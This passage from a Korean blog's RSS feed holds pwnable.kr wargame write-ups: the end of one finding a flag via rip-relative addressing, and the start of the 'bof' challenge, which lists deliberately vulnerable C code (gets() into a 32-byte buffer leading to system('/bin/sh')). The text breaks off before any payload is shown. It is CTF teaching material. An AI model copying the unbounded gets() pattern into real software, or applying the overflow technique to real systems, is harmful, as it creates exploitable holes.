&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;puts를 통해 출력하는 문자열이 무엇인지 확인해야한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 748px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9960733C5BDBD09336&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9960733C5BDBD09336&quot; width=&quot;748&quot; height=&quot;38&quot; filename=&quot;이미지 007.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;어딘가에 flag에 저장되어 있고 그것을 malloc에 strcpy() 할 것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(250, 244, 192);&quot;&gt;rsi(source), rdi(destination) 중 rsi를 찾아야한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(250, 244, 192);&quot;&gt;rip는 다음 실행될 code text의 주소이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(250, 244, 192);&quot;&gt;즉 rip+0x2c0ee5 = 0x40118b + 0x2c0ee5 = 0x6c2070이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(250, 244, 192);&quot;&gt;0x6c2070이 가리키는 문자열이 flag일 것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 958px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/990967335BDBD1B706&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F990967335BDBD1B706&quot; width=&quot;958&quot; height=&quot;157&quot; filename=&quot;이미지 008.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;0x6c2070은 0x00496628을 가리키고 있고, 내용은 위와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;flag 획득 성공!!!&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Wargame/pwnable.kr</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/224</guid>
      <comments>https://marcokhan.tistory.com/224#entry224comment</comments>
      <pubDate>Fri, 2 Nov 2018 13:27:45 +0900</pubDate>
    </item>
    <item>
      <title>[pwnable.kr] bof 풀이, write-up</title>
      <link>https://marcokhan.tistory.com/223</link>
      <description>&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 36pt;&quot;&gt;pwnable.kr --- bof&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;cmd에&amp;nbsp;nc pwnable.kr 9000&lt;/span&gt;을 입력하면 접속할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;이번 문제는 nc를 이용해 문제를 푼다. 따라서 ssh 접속과 다르게 cat으로 값을 넘겨 주어야 한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우분투에서 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;wget&lt;/span&gt;을 통해서 문제와 파일을 다운받았다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 959px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/999F57365BDB02311B&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F999F57365BDB02311B&quot; width=&quot;959&quot; height=&quot;487&quot; filename=&quot;이미지 027.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;bof elf 파일이 있고, bof.c의 내용은 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;buffer overflow의 가장 기초적인 모습이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;9&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;10&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;11&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;12&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;13&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;14&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;15&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;16&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;17&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;18&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;19&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;20&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stdio.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stdlib.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;func(&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;key){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;overflowme[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;32&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;];&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;overflow&amp;nbsp;me&amp;nbsp;:&amp;nbsp;&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;gets(overflowme);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;smash&amp;nbsp;me!&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(key&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0xcafebabe&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;system(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;/bin/sh&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;Nah..\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;main(&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;argc,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;argv[]){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;func(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0xdeadbeef&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;main 함수부터 차례차례 bof.c를 이해해보자&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;func 함수를 호출하는데 인자로 &quot;0xdeadbeef&quot;를 전달해준다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;func(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0xdeadbeef&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;fucn 함수 내에서 지역변수 char overflowme[32]를 선언한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&quot;overflowme : &quot;를 출력한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;overflowme[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;32&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;];&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 